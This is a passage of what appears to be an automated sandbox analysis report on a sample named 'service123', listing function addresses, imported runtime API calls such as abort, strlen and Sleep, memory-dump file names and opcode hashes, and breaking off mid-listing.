Opcode Fuzzy Hash: 9ba88221dba913dc6aedd714fc70a2e833d02144045768492bb6565afbb726d6
Instruction Fuzzy Hash: B6D05B397D500E4BC3044F18D458D77E2769BD3705F956558DC6457F0ED721C40A8557

Function 6C2FBC7E Relevance: 33.0, APIs: 22, Instructions: 40COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3fd3db4177c0f05098e8aa8d5508a0d2a0fe16ed9205d5709b9bed6421bcffbf
Instruction ID: 96935a3f8cc81d08245f3143c9ea2e179ea718e20bc19b25aaa6bff3f435a9dc
Opcode Fuzzy Hash: 3fd3db4177c0f05098e8aa8d5508a0d2a0fe16ed9205d5709b9bed6421bcffbf
Instruction Fuzzy Hash: 8BD05E35A9D10F8B83048E2890D8C79F2B56B57308B596654C494A3E06D211D9064A2A

Function 6C2FBC58 Relevance: 33.0, APIs: 22, Instructions: 40COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6e4149955fcfbf987a6f6827e048936a350d8ebc38fd048b8c7e8075f88f0735
Instruction ID: 616b100c09b56de442995956b373789424ab0c2eaed522969ac9128baf1acdb9
Opcode Fuzzy Hash: 6e4149955fcfbf987a6f6827e048936a350d8ebc38fd048b8c7e8075f88f0735
Instruction Fuzzy Hash: 39E0EC34BA930A87C241EE08F1C886EF3B4BBCB304F503A6CC98463B08C331E4258A17

Function 6C2FBC9F Relevance: 33.0, APIs: 22, Instructions: 36COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 48132e83c9e035b883301cdf11f407e5a9a9d1d8e00160837de5b8a221549a6c
Instruction ID: 45ab4901207c9e3cda80f44f50df46225c5316c5ee0307bfa0f08c307d112743
Opcode Fuzzy Hash: 48132e83c9e035b883301cdf11f407e5a9a9d1d8e00160837de5b8a221549a6c
Instruction Fuzzy Hash: 77C08C3AFD810C8340102D4C94D8CBEE2B81BCB229F853A04C89833F018611C805487B

Function 6C2FBCC7 Relevance: 33.0, APIs: 22, Instructions: 36COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 8cbed3b216866d64edf3ab24acc854dc55d5736ac358686bf0769aa59323643a
Instruction ID: 041961aeb6c8e7f2926113dc010e4ed12ad104752884363b520a3fc43525424d
Opcode Fuzzy Hash: 8cbed3b216866d64edf3ab24acc854dc55d5736ac358686bf0769aa59323643a
Instruction Fuzzy Hash: F9C08C2AFD940C8341101D5C9498CBAE1B45BCB208F813908CCA833F058621C805487B

Function 6C2FBCB5 Relevance: 33.0, APIs: 22, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d8474759de45164298439f875905287fcbdbc8e0b608b3f45f248786795ab8cd
Instruction ID: eb4217bc4bc9cee4fdadec34365ee792542cc264424ff3b2d429a40a84fca9d7
Opcode Fuzzy Hash: d8474759de45164298439f875905287fcbdbc8e0b608b3f45f248786795ab8cd
Instruction Fuzzy Hash: 31C0922BFEA80C4240001D6C599C9BAD035478364CF913508CCA833F0DCA12C40A287F

Function 6C2FCB40 Relevance: 28.9, APIs: 19, Instructions: 438stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C2FCBB7

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6e11aa20e1ea31a28519ee045b723a6d63d88fee5d906e1bc72d4a45bc1790ae
Instruction ID: 7b5741e6bbc93d4cb948b684b61c0ad820481ad50c293026dd8ba67d5aed63a4
Opcode Fuzzy Hash: 6e11aa20e1ea31a28519ee045b723a6d63d88fee5d906e1bc72d4a45bc1790ae
Instruction Fuzzy Hash: 76F1F4B154835D4FD724DF28C090755FFE2AF46718F1882AAECB88B786C375944ACB51

Function 6C2FC380 Relevance: 28.6, APIs: 19, Instructions: 148COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3414fc7581421b8a1cf594eacf2f5bce89a203a37ce7e17deb8d2f1ebdaf8141
Instruction ID: 84b50f63de49da8281a7a1454320112185dbe3dcf06beab00860d54c0cc99820
Opcode Fuzzy Hash: 3414fc7581421b8a1cf594eacf2f5bce89a203a37ce7e17deb8d2f1ebdaf8141
Instruction Fuzzy Hash: 9451F431A9561D9FCB14DF28C4407E9FBF2BF85764F094129ECB8AB781D370A9528B81

Function 6C2FD1A0 Relevance: 27.1, APIs: 18, Instructions: 124sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2FCB40: strlen.MSVCRT ref: 6C2FCBB7

Sleep.KERNEL32 ref: 6C2FD307
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 75921b740e22819e38c9f2a9256cb6c3f6706a7a99c32d8a3e546f8e82670ece
Instruction ID: fb76ca877a650897baf4050ec6e76121caab68f777bbdd887c1d0d1b7a6703c0
Opcode Fuzzy Hash: 75921b740e22819e38c9f2a9256cb6c3f6706a7a99c32d8a3e546f8e82670ece
Instruction Fuzzy Hash: 5D5109A07883D9CAEB01EF388285755BFB46753308F08455CDBD84B682C3BA9519C7AA

Function 6C2FD3A0 Relevance: 24.1, APIs: 16, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 12428c5d27d4d1ee6270809d6e679c812a1b7a9184ae5eb410b290e3a4491f1c
Instruction ID: 31dae0ec568a4121e39afce9496547ecabca0c57058d7e21c0dd9d0e41e2e6da
Opcode Fuzzy Hash: 12428c5d27d4d1ee6270809d6e679c812a1b7a9184ae5eb410b290e3a4491f1c
Instruction Fuzzy Hash: B531E37169930D8FD720DF29D48076AF7E0AF82309F10992DE998C7B05D3B1D8458F82

Function 6C2FD4C0 Relevance: 22.6, APIs: 15, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 7119d03c728a1d678f47df6e1468fe39089c268bfc57ea1042631e6416c2acfc
Instruction ID: 0c9523a2172bce2f45aa832c4482f9bbf7f3ad9df095c6ff20bb6d390bd5555d
Opcode Fuzzy Hash: 7119d03c728a1d678f47df6e1468fe39089c268bfc57ea1042631e6416c2acfc
Instruction Fuzzy Hash: D44119B0A4930A8FD310DF19D59072AFBE0AF8A718F10892EE9A8C7751D375D8458F92

Function 6C300F20 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1586stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C300F2A
strlen.MSVCRT ref: 6C300F34

Strings

, xrefs: 6C30231D
5, xrefs: 6C301592
inity, xrefs: 6C301FAF
!, xrefs: 6C302AD0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 890da84d0beff3a27f29fbccc3b19e7806d628b7af2c2adc1e91a5ce96c281e3
Instruction ID: a7b936c21d2ce381bbb1f0630af65eb53aef77bbc1cf31f4ca0a36bc47c612b2
Opcode Fuzzy Hash: 890da84d0beff3a27f29fbccc3b19e7806d628b7af2c2adc1e91a5ce96c281e3
Instruction Fuzzy Hash: 66F22376A097818FD320CF29C18479ABBE1BF89308F51891DE8D997B50D776E844CF92

Function 6C2FFDC0 Relevance: 21.7, APIs: 7, Strings: 5, Instructions: 659stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C2FFDCF
strlen.MSVCRT ref: 6C2FFDDF
isspace.MSVCRT ref: 6C2FFE1D
